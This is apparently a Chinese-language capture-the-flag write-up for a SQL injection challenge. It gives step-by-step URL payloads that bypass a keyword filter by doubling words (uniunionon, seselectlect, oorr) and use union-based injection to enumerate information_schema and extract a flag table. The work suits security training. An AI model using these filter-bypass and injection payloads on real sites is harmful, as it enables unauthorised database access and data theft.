已经有了提示,网站做了严格的过滤
先尝试一下万能密码
应该是or 被过滤了,用||替换成功绕过,也可以通过双写来绕过,payload:?username=admin&password=1' || 1='1或者?username=admin&password=1'+oorr 1='1
没有拿到flag
开始sql注入
第一步开始猜字段数,payload:?username=-1' uniunionon seselectlect 1,2,3 %23 &password=1'+oorr 1='1
成功回显
第二步,开始爆库名,payload:?username=-1' uniunionon seselectlect 1,2,database() %23 &password=1'+oorr 1='1
是和之前的sql题目一样的数据库名
再看一下其他数据库名payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_schema) frfromom infoorrmation_schema.tables %23 &password=1'+oorr 1='1
得到一大串字符串,复制到记事本里看,发现一个'ctf'数据库。
就进ctf数据库找flag吧
第三步,爆表名,payload:?username=-1' uniunionon seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23 &password=1'+oorr 1='1
基本确定flag在这里了
第四步,确定列名,payload:?username=-1' uniunionon seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf' aandnd table_name='Flag'%23 &password=1'+oorr 1='1
最后,拿到flag,payload:?username=-1' uniunionon seselectlect 1,2,flag frfromom ctf.Flag %23 &password=1'+oorr 1='1
username=-1' uniunionon seselectlect 1,2,3 %23 &password=1'+oorr 1='1